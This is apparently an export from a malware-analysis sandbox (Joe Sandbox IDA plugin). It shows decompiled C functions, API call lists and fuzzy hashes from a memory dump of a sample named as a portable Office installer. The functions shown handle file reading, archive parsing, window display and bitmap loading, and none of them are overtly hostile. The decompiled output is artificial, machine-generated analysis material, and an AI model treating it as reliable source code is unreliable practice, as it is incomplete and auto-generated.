					_v16 = _v8;
					if(_t67 != 0) {
						L17:
						_t95 = 0;
						__eflags = _t67;
						_t155 =  !=  ? 0xffffffff : _t155;
					} else {
						_t67 = E000C6130(_t149,  &_v8);
						if(_t67 != 0) {
							goto L17;
						} else {
							_t95 = (_v8 << 8) + _v16;
						}
					}
					_v152 = _t95;
					_t116 = E000C6130(_t149,  &_v8);
					_v16 = _v8;
					if(_t116 != 0) {
						L21:
						_t71 = 0;
						__eflags = _t116;
						_t156 =  !=  ? 0xffffffff : _t155;
					} else {
						_t116 = E000C6130(_t149,  &_v8);
						if(_t116 != 0) {
							goto L21;
						} else {
							_t71 = (_v8 << 8) + _v16;
						}
					}
					if(_t71 != _t95 || _v20 != 0) {
						L25:
						_t156 = 0xffffff99;
					} else {
						_t179 = _v12;
						if(_v12 != 0) {
							goto L25;
						}
					}
					_t72 = E000C61E0(_t149,  &_v124, _t179);
					_t157 =  !=  ? 0xffffffff : _t156;
					E000C61E0(_t149,  &_v120, _t72);
					_t158 =  !=  ? 0xffffffff :  !=  ? 0xffffffff : _t156;
					_t74 = E000C6130(_t149,  &_v8);
					_t97 = _v8;
					if(_t74 != 0) {
						L29:
						__eflags = _t74;
						_v148 = 0;
						_t158 =  !=  ? 0xffffffff : _t158;
					} else {
						_t74 = E000C6130(_t149,  &_v8);
						if(_t74 != 0) {
							goto L29;
						} else {
							_v148 = (_v8 << 8) + _t97;
						}
					}
					_t140 =  *((intOrPtr*)(_t149 + 0xc));
					_t98 = _v24;
					if(_v24 + _t140 < _v124 + _v120 || _t158 != 0) {
						__eflags =  *((char*)(_t149 + 0x10));
						if( *((char*)(_t149 + 0x10)) != 0) {
							CloseHandle( *(_t149 + 4));
						}
						L000CC7D6(_t149);
						goto L36;
					} else {
						_v156 = _t149;
						_v144 = _t140 - _v124 - _v120 + _t98;
						_v128 = _t98;
						_v32 = _t158;
						 *((intOrPtr*)(_t149 + 0xc)) = _t158;
						_t99 = E000CD0B9(_t98, _t140 - _v124 - _v120 + _t98, _t149, 0x80);
						memcpy(_t99,  &_v156, 0x20 << 2);
						E000C6A90(_t99);
						return _t99;
					}
				}
			}

0x000c645c
0x000c6460
0x000c669b
0x000c669b
0x000c66a1
0x000c6466
0x000c6468
0x000c646d
0x000c6470
0x000c6474
0x000c647a
0x000c647d
0x000c649f
0x000c647f
0x000c647f
0x000c6483
0x000c649a
0x000c6485
0x000c6492
0x000c6492
0x000c6483
0x000c64a7
0x000c64b3
0x000c64b6
0x000c64be
0x000c64c3
0x000c64e1
0x000c64e1
0x000c64e3
0x000c64ea
0x000c64c5
0x000c64ca
0x000c64d1
0x00000000
0x000c64d3
0x000c64d6
0x000c64d9
0x000c64dc
0x000c64dc
0x000c64d1
0x000c64f2
0x000c64fa
0x000c64ff
0x000c651a
0x000c651a
0x000c651c
0x000c6523
0x000c6501
0x000c6506
0x000c650d
0x00000000
0x000c650f
0x000c6515
0x000c6515
0x000c650d
0x000c652b
0x000c6533
0x000c6538
0x000c6553
0x000c6553
0x000c6555
0x000c655c
0x000c653a
0x000c653f
0x000c6546
0x00000000
0x000c6548
0x000c654e
0x000c654e
0x000c6546
0x000c6564
0x000c656f
0x000c6574
0x000c6579
0x000c6596
0x000c6596
0x000c6598
0x000c659f
0x000c657b
0x000c6585
0x000c6589
0x00000000
0x000c658b
0x000c6591
0x000c6591
0x000c6589
0x000c65a4
0x000c65b2
0x000c65b2
0x000c65ac
0x000c65ac
0x000c65b0
0x00000000
0x00000000
0x000c65b0
0x000c65bc
0x000c65cd
0x000c65d0
0x000c65dc
0x000c65df
0x000c65e4
0x000c65e9
0x000c6609
0x000c6609
0x000c6610
0x000c661a
0x000c65eb
0x000c65f0
0x000c65f7
0x00000000
0x000c65f9
0x000c6601
0x000c6601
0x000c65f7
0x000c6620
0x000c6629
0x000c6630
0x000c6681
0x000c6685
0x000c668a
0x000c668a
0x000c6691
0x00000000
0x000c6636
0x000c6641
0x000c6649
0x000c664f
0x000c6652
0x000c6655
0x000c665d
0x000c666c
0x000c6673
0x000c6680
0x000c6680
0x000c6630

APIs

Part of subcall function 000C6280: SetFilePointer.KERNELBASE(?,00000000,00000000,00000002,00000000,?,?,?,?,000C646D,00000140,00000000,00000000), ref: 000C62AD
Part of subcall function 000C6280: SetFilePointer.KERNELBASE(?,00000000,00000000,00000001,00000000,?,?,?,?,000C646D,00000140,00000000,00000000), ref: 000C62E3
Part of subcall function 000C6280: _malloc.LIBCMT ref: 000C6308

SetFilePointer.KERNELBASE(?,?,00000000,00000000,00000140,00000000,00000000), ref: 000C6492
_malloc.LIBCMT ref: 000C6658
CloseHandle.KERNEL32(?,00000140,00000000,00000000), ref: 000C668A

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: FilePointer$_malloc$CloseHandle
String ID:
API String ID: 3771258264-0
Opcode ID: aa21e3041a9cf987a222712d0a25354c2eaa829948e5f1550b83d9c61e3c1ff5
Instruction ID: 89a5b9ca488f0ce4c98248b02427edca3bd01cb506b44b9f78f4d14a9571a115
Opcode Fuzzy Hash: aa21e3041a9cf987a222712d0a25354c2eaa829948e5f1550b83d9c61e3c1ff5
Instruction Fuzzy Hash: 30715C71A006159BDF34DF69C990BADB3F1AF84311F28436DDC16A7382EB729E059B80

Uniqueness

Uniqueness Score: -1.00%

Function 000C6D50, Relevance: 4.6, APIs: 3, Instructions: 133
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E000C6D50(intOrPtr* __ecx, intOrPtr* __edx) {
				char _v8;
				char _v12;
				char _v20;
				void* __ebx;
				void* __edi;
				void* _t55;
				intOrPtr _t58;
				char _t69;
				intOrPtr* _t81;
				signed int _t87;
				intOrPtr* _t94;
				intOrPtr* _t96;

				_t94 = __ecx;
				_t81 = __edx;
				if(__ecx != 0) {
					if( *((intOrPtr*)(__ecx + 0x18)) == 0) {
						goto L1;
					} else {
						if( *((intOrPtr*)(__ecx + 0x7c)) != 0) {
							E000C7140(__ecx, __edx);
						}
						_t55 = E000C6AD0(_t94,  &_v20,  &_v8,  &_v12); // executed
						if(_t55 == 0) {
							_t96 = E000CD0B9(_t81,  &_v20, _t94, 0x84);
							if(_t96 == 0) {
								L10:
								return 0xffffff98;
							} else {
								_t58 = E000CD0B9(_t81,  &_v20, _t94, 0x4000);
								 *((intOrPtr*)(_t96 + 0x44)) = _v8;
								 *_t96 = _t58;
								 *((intOrPtr*)(_t96 + 0x48)) = _v12;
								 *((intOrPtr*)(_t96 + 0x4c)) = 0;
								if(_t58 != 0) {
									 *((intOrPtr*)(_t96 + 0x40)) = 0;
									 *((intOrPtr*)(_t96 + 0x54)) =  *((intOrPtr*)(_t94 + 0x3c));
									 *((intOrPtr*)(_t96 + 0x50)) = 0;
									_t87 = 0 |  *((intOrPtr*)(_t94 + 0x34)) == 0x00000000;
									 *((intOrPtr*)(_t96 + 0x64)) =  *((intOrPtr*)(_t94 + 0x34));
									 *((intOrPtr*)(_t96 + 0x60)) =  *_t94;
									 *((intOrPtr*)(_t96 + 0x68)) =  *((intOrPtr*)(_t94 + 0xc));
									 *((intOrPtr*)(_t96 + 0x18)) = 0;
									if(_t87 == 0) {
										 *(_t96 + 0x24) = _t87;
										 *(_t96 + 0x28) = _t87;
										 *(_t96 + 0x2c) = _t87;
										_t27 = _t96 + 4; // 0x4
										if(E000C5BA0(_t27) == 0) {
											 *((intOrPtr*)(_t96 + 0x40)) = 1;
										}
									}
									 *((intOrPtr*)(_t96 + 0x58)) =  *((intOrPtr*)(_t94 + 0x40));
									 *((intOrPtr*)(_t96 + 0x5c)) =  *((intOrPtr*)(_t94 + 0x44));
									 *(_t96 + 0x6c) =  *(_t94 + 0x30) & 0x00000001;
									if(( *(_t94 + 0x30) >> 0x00000003 & 0x00000001) == 0) {
										_t69 =  *((intOrPtr*)(_t94 + 0x3f));
									} else {
										_t69 =  *((intOrPtr*)(_t94 + 0x39));
									}
									 *((char*)(_t96 + 0x80)) = _t69;
									_t71 =  !=  ? 0xc : 0;
									 *((intOrPtr*)(_t96 + 0x7c)) =  !=  ? 0xc : 0;
									 *((intOrPtr*)(_t96 + 0x70)) = 0x12345678;
									 *((intOrPtr*)(_t96 + 0x74)) = 0x23456789;
									 *((intOrPtr*)(_t96 + 0x78)) = 0x34567890;
									if(_t81 != 0) {
										while(1) {
											_t93 =  *_t81;
											if( *_t81 == 0) {
												goto L20;
											}
											_t46 = _t96 + 0x70; // 0x70
											E000C5880(_t46, _t93);
											_t81 = _t81 + 1;
											if(_t81 != 0) {
												continue;
											}
											goto L20;
										}
									}
									L20:
									 *((intOrPtr*)(_t96 + 8)) = 0;
									 *((intOrPtr*)(_t96 + 0x3c)) = _v20 + 0x1e +  *((intOrPtr*)(_t94 + 0x78));
									 *((intOrPtr*)(_t94 + 0x7c)) = _t96;
									return 0;
								} else {
									E000CD081(_t96);
									goto L10;
								}
							}
						} else {
							return 0xffffff99;
						}
					}
				} else {
					L1:
					return 0xffffff9a;
				}
			}

0x000c6d58
0x000c6d5a
0x000c6d5e
0x000c6d6f
0x00000000
0x000c6d71
0x000c6d75
0x000c6d77
0x000c6d77
0x000c6d89
0x000c6d93
0x000c6dab
0x000c6db2
0x000c6de3
0x000c6dee
0x000c6db4
0x000c6db9
0x000c6dc1
0x000c6dca
0x000c6dcc
0x000c6dcf
0x000c6dd8
0x000c6def
0x000c6dfe
0x000c6e01
0x000c6e0b
0x000c6e0e
0x000c6e13
0x000c6e19
0x000c6e1c
0x000c6e25
0x000c6e27
0x000c6e2a
0x000c6e2d
0x000c6e30
0x000c6e3a
0x000c6e3c
0x000c6e3c
0x000c6e3a
0x000c6e46
0x000c6e4c
0x000c6e54
0x000c6e5f
0x000c6e66
0x000c6e61
0x000c6e61
0x000c6e61
0x000c6e69
0x000c6e79
0x000c6e7c
0x000c6e7f
0x000c6e86
0x000c6e8d
0x000c6e96
0x000c6e98
0x000c6e98
0x000c6e9c
0x00000000
0x00000000
0x000c6e9e
0x000c6ea1
0x000c6ea6
0x000c6ea7
0x00000000
0x00000000
0x00000000
0x000c6ea7
0x000c6e98
0x000c6ea9
0x000c6eb2
0x000c6eb9
0x000c6ebc
0x000c6ec7
0x000c6dda
0x000c6ddb
0x00000000
0x000c6de0
0x000c6dd8
0x000c6d96
0x000c6d9f
0x000c6d9f
0x000c6d93
0x000c6d61
0x000c6d61
0x000c6d6a
0x000c6d6a

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99f524c876b18f06e6ed6b4433728e414d7d82cc8249db36b2590df0b36ea127
Instruction ID: 68cb6c2f10313376de9048efa0c1c6291503db06536305d701cf3953ecb82aa0
Opcode Fuzzy Hash: 99f524c876b18f06e6ed6b4433728e414d7d82cc8249db36b2590df0b36ea127
Instruction Fuzzy Hash: 2F417D75A04B059FD770CF6AD540BAAFBE0BF04314F04096EE99A87B51E772E854CB81

Uniqueness

Uniqueness Score: -1.00%

Function 000C6000, Relevance: 4.6, APIs: 3, Instructions: 59
fileCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E000C6000(CHAR* __ecx, long* _a8) {
				void* _v8;
				void* __ebx;
				void* __edi;
				void* _t12;
				long _t13;
				void* _t15;
				long _t17;
				signed int _t19;
				signed int _t20;
				long* _t24;
				char* _t28;

				_push(__ecx);
				_t24 = _a8;
				 *_t24 = 0; // executed
				_t12 = CreateFileA(__ecx, 0x80000000, 1, 0, 3, 0x80, 0); // executed
				_v8 = _t12;
				if(_t12 != 0xffffffff) {
					_push(_t19);
					_t13 = SetFilePointer(_t12, 0, 0, 1); // executed
					__eflags = _t13 - 0xffffffff;
					_push(0x20);
					_t20 = _t19 & 0xffffff00 | __eflags != 0x00000000;
					_t28 = E000CCE6F(_t20, _t24, __eflags);
					_t15 = _v8;
					 *_t28 = 1;
					 *((char*)(_t28 + 0x10)) = 1;
					 *(_t28 + 1) = _t20;
					 *(_t28 + 4) = _t15;
					 *((char*)(_t28 + 8)) = 0;
					 *(_t28 + 0xc) = 0;
					__eflags = _t20;
					if(_t20 != 0) {
						_t17 = SetFilePointer(_t15, 0, 0, 1); // executed
						 *(_t28 + 0xc) = _t17;
					}
					 *_t24 = 0;
					return _t28;
				} else {
					 *_t24 = 0x200;
					return 0;
				}
			}

0x000c6003
0x000c6005
0x000c601b
0x000c6021
0x000c6027
0x000c602d
0x000c603c
0x000c6045
0x000c604b
0x000c604e
0x000c6050
0x000c6058
0x000c605a
0x000c6060
0x000c6063
0x000c6067
0x000c606a
0x000c606d
0x000c6071
0x000c6078
0x000c607a
0x000c6083
0x000c6089
0x000c6089
0x000c6090
0x000c609a
0x000c602f
0x000c602f
0x000c603b
0x000c603b

APIs

CreateFileA.KERNELBASE(000C7E2D,80000000,00000001,00000000,00000003,00000080,00000000,00000140,000C7E2D,?,000C722A,00000141,?,?,000C7E2D,?), ref: 000C6021
SetFilePointer.KERNELBASE(00000000,00000000,00000000,00000001,00000000,00000000,?,000C722A,00000141,?,?,000C7E2D,?,?,?,?), ref: 000C6045
SetFilePointer.KERNELBASE(?,00000000,00000000,00000001,?,?,?,?), ref: 000C6083

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: File$Pointer$Create
String ID:
API String ID: 250661774-0
Opcode ID: 9a87be5419c45b7a38e648af7c146310c1db7e3322be2284b4df6b0c09775c77
Instruction ID: c1cb17139cbed4682633106dacdcb2d21a7014168d23d73a289423bf4f260000
Opcode Fuzzy Hash: 9a87be5419c45b7a38e648af7c146310c1db7e3322be2284b4df6b0c09775c77
Instruction Fuzzy Hash: 8411C471684341ABF730CB68DC46F4AFBD89B01B20F204659F668EB2C1D3FAA4448754

Uniqueness

Uniqueness Score: -1.00%

Function 000C8970, Relevance: 4.5, APIs: 3, Instructions: 38
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E000C8970(int _a8) {
				int* _t5;
				int _t7;
				int* _t8;
				void* _t9;
				struct HWND__* _t10;
				int _t12;

				_t10 =  *0xf0770; // 0x60368
				if(_t10 == 0) {
					return 0;
				} else {
					_t5 =  *0xf0774; // 0xf1b90
					_t1 =  &(_t5[1]); // 0x13
					MoveWindow(_t10, 3, _a8,  *_t5,  *_t1, 1);
					_t7 = ShowWindow( *0xf0770, 5); // executed
					_t12 = _t7;
					if( *0xf0780 == 0) {
						_t8 =  *0xf0774; // 0xf1b90
						if(_t8[4] > 1) {
							_t9 = CreateThread(0, 0, E000C87C0, 0xf0764, 0, 0xf076c); // executed
							 *0xf0768 = _t9;
						}
						_t7 = _t12;
					}
					return _t7;
				}
			}

0x000c8973
0x000c897b
0x000c89e4
0x000c897d
0x000c897d
0x000c8985
0x000c8990
0x000c899e
0x000c89ab
0x000c89ad
0x000c89af
0x000c89b8
0x000c89cf
0x000c89d5
0x000c89d5
0x000c89da
0x000c89da
0x000c89de
0x000c89de

APIs

MoveWindow.USER32(00060368,00000003,00000001,000F1B90,00000013,00000001,74ECF620,?,000C16C4,?,-000F1B2E), ref: 000C8990
ShowWindow.USER32(00000005,?,000C16C4,?,-000F1B2E), ref: 000C899E
CreateThread.KERNELBASE ref: 000C89CF

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: Window$CreateMoveShowThread
String ID:
API String ID: 1982633413-0
Opcode ID: 1d257e625de3b1fcae56c33666eab8ff33cfd45e8bdd0d83fe6009717104c085
Instruction ID: 265db27b272c772af1df33f001a31ced4b0c0ddf4910c3400043c312a62385a4
Opcode Fuzzy Hash: 1d257e625de3b1fcae56c33666eab8ff33cfd45e8bdd0d83fe6009717104c085
Instruction Fuzzy Hash: 82F0A431A44300EBF750AB50AC49F3577A1F700B41F0141A5F205DA5A1C776B450EF84

Uniqueness

Uniqueness Score: -1.00%

Function 000CCE6F, Relevance: 4.5, APIs: 3, Instructions: 28
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 91%

			E000CCE6F(void* __ebx, void* __edi, void* __eflags, intOrPtr _a4) {
				void* _v0;
				char* _v8;
				char _v20;
				void* _t10;
				char _t11;
				char _t15;
				intOrPtr* _t16;
				intOrPtr _t18;
				void* _t19;
				void* _t24;
				void* _t25;

				_t25 = __edi;
				_t19 = __ebx;
				while(1) {
					_t10 = E000CD0B9(_t19, _t24, _t25, _a4); // executed
					if(_t10 != 0) {
						break;
					}
					_t11 = E000D32D4(_t10, _a4);
					__eflags = _t11;
					if(_t11 == 0) {
						_push(1);
						_v8 = "bad allocation";
						E000CD5EC( &_v20,  &_v8);
						_v20 = 0xe5078;
						_t15 = E000CEBFB( &_v20, 0xecf78);
						asm("int3");
						__eflags = _v20;
						if(_v20 != 0) {
							_t15 = RtlFreeHeap( *0xf173c, 0, _v0); // executed
							__eflags = _t15;
							if(__eflags == 0) {
								_t16 = E000D1261(__eflags);
								_t18 = E000D1274(GetLastError());
								 *_t16 = _t18;
								return _t18;
							}
						}
						return _t15;
					} else {
						continue;
					}
					L11:
				}
				return _t10;
				goto L11;
			}

0x000cce6f
0x000cce6f
0x000cce84
0x000cce87
0x000cce8f
0x00000000
0x00000000
0x000cce7a
0x000cce80
0x000cce82
0x000cce93
0x000cce9c
0x000ccea3
0x000cceb1
0x000cceb8
0x000ccebd
0x000cd084
0x000cd088
0x000cd095
0x000cd09b
0x000cd09d
0x000cd0a0
0x000cd0ae
0x000cd0b4
0x00000000
0x000cd0b6
0x000cd09d
0x000cd0b8
0x00000000
0x00000000
0x00000000
0x00000000
0x000cce82
0x000cce92
0x00000000

APIs

_malloc.LIBCMT ref: 000CCE87

Part of subcall function 000CD0B9: __FF_MSGBANNER.LIBCMT ref: 000CD0D0
Part of subcall function 000CD0B9: __NMSG_WRITE.LIBCMT ref: 000CD0D7
Part of subcall function 000CD0B9: RtlAllocateHeap.NTDLL(009A0000,00000000,00000001,00000000,00000000,00000000,?,000CFC85,00000000,00000000,00000000,00000000,?,000CF17F,00000018,000ED1D8), ref: 000CD0FC

std::exception::exception.LIBCMT ref: 000CCEA3
__CxxThrowException@8.LIBCMT ref: 000CCEB8

Part of subcall function 000CEBFB: RaiseException.KERNEL32(?,?,000CBF6B,000C2540,?,?,?,?,000CBF6B,000C2540,000ECFCC,00000000), ref: 000CEC4C

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID:
API String ID: 3074076210-0
Opcode ID: 9d9136b2e26e503e84780a15ec4dd7d2b53910770f0edf029c0c485f0c4b09ec
Instruction ID: add41078a3349ff946905bc4f5ad94f6d09b97a56d38def3560dd3b74f33eceb
Opcode Fuzzy Hash: 9d9136b2e26e503e84780a15ec4dd7d2b53910770f0edf029c0c485f0c4b09ec
Instruction Fuzzy Hash: 98E06D3550060AAEEB00FBA9DC12FEE77A8AF01308F50042AF505A5582DB70DB45DAA1

Uniqueness

Uniqueness Score: -1.00%

Function 000C8AD0, Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 296
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E000C8AD0(void* __ecx, signed int __edx) {
				char _v8;
				char _v16;
				signed int _v24;
				char _v36;
				char _v40;
				char _v48;
				char _v52;
				char _v56;
				char _v96;
				intOrPtr _v112;
				char _v116;
				char _v124;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr* _v140;
				intOrPtr* _v148;
				intOrPtr* _v164;
				signed int _v180;
				char _v192;
				char _v208;
				intOrPtr _v214;
				char _v224;
				intOrPtr _v248;
				signed short _v250;
				signed int _v256;
				intOrPtr _v260;
				char _v264;
				intOrPtr _v268;
				signed int _v272;
				signed int _v276;
				signed int _v280;
				signed int _v284;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t104;
				signed int _t105;
				intOrPtr* _t121;
				signed short _t133;
				signed int _t147;
				signed int _t152;
				signed int _t153;
				signed int _t160;
				intOrPtr _t165;
				char _t170;
				char _t171;
				char _t172;
				signed int _t176;
				void* _t177;
				signed int _t181;
				intOrPtr* _t192;
				signed char _t200;
				signed int _t203;
				char* _t206;
				intOrPtr _t214;
				intOrPtr _t216;
				intOrPtr _t218;
				signed int _t220;
				signed int _t224;
				void* _t225;
				void* _t227;
				signed int _t228;
				signed int _t229;
				intOrPtr* _t231;
				void* _t232;
				signed int _t235;
				signed int _t236;
				void* _t238;
				signed int _t239;
				intOrPtr _t240;
				signed int _t244;
				signed int _t245;
				void* _t246;
				void* _t248;
				void* _t250;
				void* _t265;
				void* _t270;

				_t220 = __edx;
				_push(0xffffffff);
				_push(E000E396B);
				_push( *[fs:0x0]);
				_t104 =  *0xef6ac; // 0xcff43140
				_t105 = _t104 ^ _t245;
				_v24 = _t105;
				_push(_t176);
				_push(_t225);
				_push(_t105);
				 *[fs:0x0] =  &_v16;
				_v208 = 0xec498;
				_v56 = 0;
				_v52 = 0;
				_v48 = 0;
				_v40 = 0;
				_v36 = 0;
				E000C8F90( &_v16,  &_v192, __ecx);
				_t248 = _t246 - 0x104;
				E000CA540( &_v208, _t250, "icon.ico"); // executed
				_v8 = 0;
				if(_v112 == 0) {
					L37:
					__eflags = 0;
					L38:
					_v8 = 0xffffffff;
					_t69 = _v208 + 4; // 0x70
					 *((intOrPtr*)(_t245 +  *_t69 - 0xcc)) = 0xec42c;
					_t73 = _v208 + 4; // 0xcbdcd
					_t74 =  *_t73 - 0x70; // 0xcbd5d
					 *((intOrPtr*)(_t245 +  *_t73 - 0xd0)) = _t74;
					_v192 = 0xec3ec;
					if(_v112 != 0) {
						_t220 = _v180;
						if( *_t220 ==  &_v124) {
							 *_t220 = _v136;
							 *_v164 = _v132;
							 *_v148 = 0;
						}
					}
					if(_v116 != 0) {
						E000CB370(_t176,  &_v192, _t220);
					}
					_t231 = _v140;
					_v192 = 0xec43c;
					if(_t231 != 0) {
						_t192 =  *_t231;
						if(_t192 != 0) {
							_t121 =  *((intOrPtr*)( *_t192 + 8))();
							if(_t121 != 0) {
								 *((intOrPtr*)( *_t121))(1);
							}
						}
						L000CC7D6(_t231);
						_t248 = _t248 + 4;
					}
					_t91 = _v208 + 4; // 0xcbdcd
					 *((intOrPtr*)(_t245 +  *_t91 - 0xcc)) = 0xec47c;
					_t96 = _v208 + 4; // 0xcbdd8
					_t97 =  *_t96 - 0x18; // 0xcbdc0
					 *((intOrPtr*)(_t245 +  *_t96 - 0xd0)) = _t97;
					_v96 = 0xec4a4;
					E000CC5E3( &_v96);
					 *[fs:0x0] = _v16;
					_pop(_t227);
					_pop(_t232);
					_pop(_t177);
					return E000CC7C7(_t177, _v24 ^ _t245,  *_t96, _t227, _t232);
				}
				E000C9DD0( &_v208, __edx,  &_v224, 0xe, 0); // executed
				if(_v224 != 0x4d42) {
					goto L37;
				}
				E000C9DD0( &_v208, __edx,  &_v264, 0x28, 0);
				_t133 = _v250;
				if(_t133 == 1 || _t133 == 4 || _t133 == 8 || _t133 == 0x18) {
					if(_v248 != 0) {
						goto L37;
					}
					asm("cdq");
					E000C8620(_t176, 0xf1ba4, _v260, (_v256 ^ _t220) - _t220, _t133 & 0x0000ffff);
					_t200 =  *0xf1bac; // 0x18
					if(_t200 == 0x18) {
						L10:
						_push(_t200);
						E000CA040(1,  &_v208, _t225, _v214, 0);
						_t228 =  *0xf1bac; // 0x18
						asm("cdq");
						_t203 =  *0xf1ba4; // 0xe2
						_v284 = (1 << _t228) - 1;
						_v276 = 8 / _t228;
						asm("cdq");
						_t220 = 0x00000008 % _t228 & 0x00000007;
						_t147 = _t203 * _t228 + 0x00000007 + _t220 >> 0x00000003 & 0x80000003;
						if(_t147 < 0) {
							_t147 = (_t147 - 0x00000001 | 0xfffffffc) + 1;
						}
						_t235 = 0x00000004 - _t147 & 0x80000003;
						if(4 < 0) {
							_t235 = (_t235 - 0x00000001 | 0xfffffffc) + 1;
						}
						_t176 = 0;
						_v280 = _t235;
						_v272 = 0;
						_t265 =  *0xf1ba8 - _t176; // 0x78
						if(_t265 <= 0) {
							L31:
							if(E000CB370(_t176,  &_v192, _t220) == 0) {
								_t60 = _v208 + 4; // 0x70
								_t206 =  &_v208 +  *_t60;
								_t61 = _t206 + 0xc; // 0xc85d0
								_t152 =  *_t61 | 0x00000002;
								if( *((intOrPtr*)(_t206 + 0x38)) == 0) {
									_t152 = _t152 | 0x00000004;
								}
								_t153 = _t152 & 0x00000017;
								 *(_t206 + 0xc) = _t153;
								if(( *(_t206 + 0x10) & _t153) != 0) {
									E000C8430(_t206, 0);
								}
							}
							goto L38;
						}
						do {
							if(_v256 <= 0) {
								_t236 = _t176;
							} else {
								_t240 =  *0xf1ba8; // 0x78
								_t236 = _t240 - _t176 - 1;
							}
							_t238 = _t236 *  *0xf1bb8 +  *0xf1bb0;
							if(_t228 < 8) {
								_v268 = 0;
								__eflags = _t203;
								if(_t203 <= 0) {
									goto L26;
								} else {
									goto L22;
								}
								do {
									L22:
									_t160 = E000C9C40( &_v208);
									_t229 =  *0xf1bac; // 0x18
									_t181 = _t160;
									_t224 = 8;
									do {
										_t238 = _t238 + 1;
										 *(_t238 - 1) = _t181 >> _t224 - _t229 & _v284;
										_t229 =  *0xf1bac; // 0x18
										_t224 = _t224 - _t229;
										__eflags = _t224;
									} while (_t224 > 0);
									_t165 = _v268 + _v276;
									_t203 =  *0xf1ba4; // 0xe2
									_v268 = _t165;
									__eflags = _t165 - _t203;
								} while (_t165 < _t203);
								_t176 = _v272;
								goto L26;
							} else {
								asm("cdq");
								_t220 = _t220 & 0x00000007;
								asm("cdq");
								E000C9DD0( &_v208, _t220, _t238, _t203 * _t228 + _t220 >> 3, _t220);
								_t228 =  *0xf1bac; // 0x18
								_t203 =  *0xf1ba4; // 0xe2
								L26:
								_t239 = _v280;
								if(_t239 <= 0) {
									goto L30;
								}
								do {
									E000C9C40( &_v208);
									_t239 = _t239 - 1;
								} while (_t239 != 0);
								_t228 =  *0xf1bac; // 0x18
								_t203 =  *0xf1ba4; // 0xe2
							}
							L30:
							_t176 = _t176 + 1;
							_v272 = _t176;
							_t270 = _t176 -  *0xf1ba8; // 0x78
						} while (_t270 < 0);
						goto L31;
					}
					_t244 = 0;
					if(1 << _t200 <= 0) {
						goto L10;
					} else {
						goto L9;
					}
					do {
						L9:
						_t170 = E000C9C40( &_v208);
						_t214 =  *0xf1bb4; // 0x0
						 *((char*)(_t214 + _t244 * 4)) = _t170;
						_t171 = E000C9C40( &_v208);
						_t216 =  *0xf1bb4; // 0x0
						 *((char*)(_t216 + 1 + _t244 * 4)) = _t171;
						_t172 = E000C9C40( &_v208);
						_t218 =  *0xf1bb4; // 0x0
						 *((char*)(_t218 + 2 + _t244 * 4)) = _t172;
						E000C9C40( &_v208);
						_t200 =  *0xf1bac; // 0x18
						_t244 = _t244 + 1;
					} while (_t244 < 1 << _t200);
					goto L10;
				} else {
					goto L37;
				}
			}

0x000c8ad0
0x000c8ad3
0x000c8ad5
0x000c8ae0
0x000c8ae7
0x000c8aec
0x000c8aee
0x000c8af1
0x000c8af3
0x000c8af4
0x000c8af8
0x000c8b05
0x000c8b0f
0x000c8b16
0x000c8b1d
0x000c8b24
0x000c8b2b
0x000c8b32
0x000c8b37
0x000c8b45
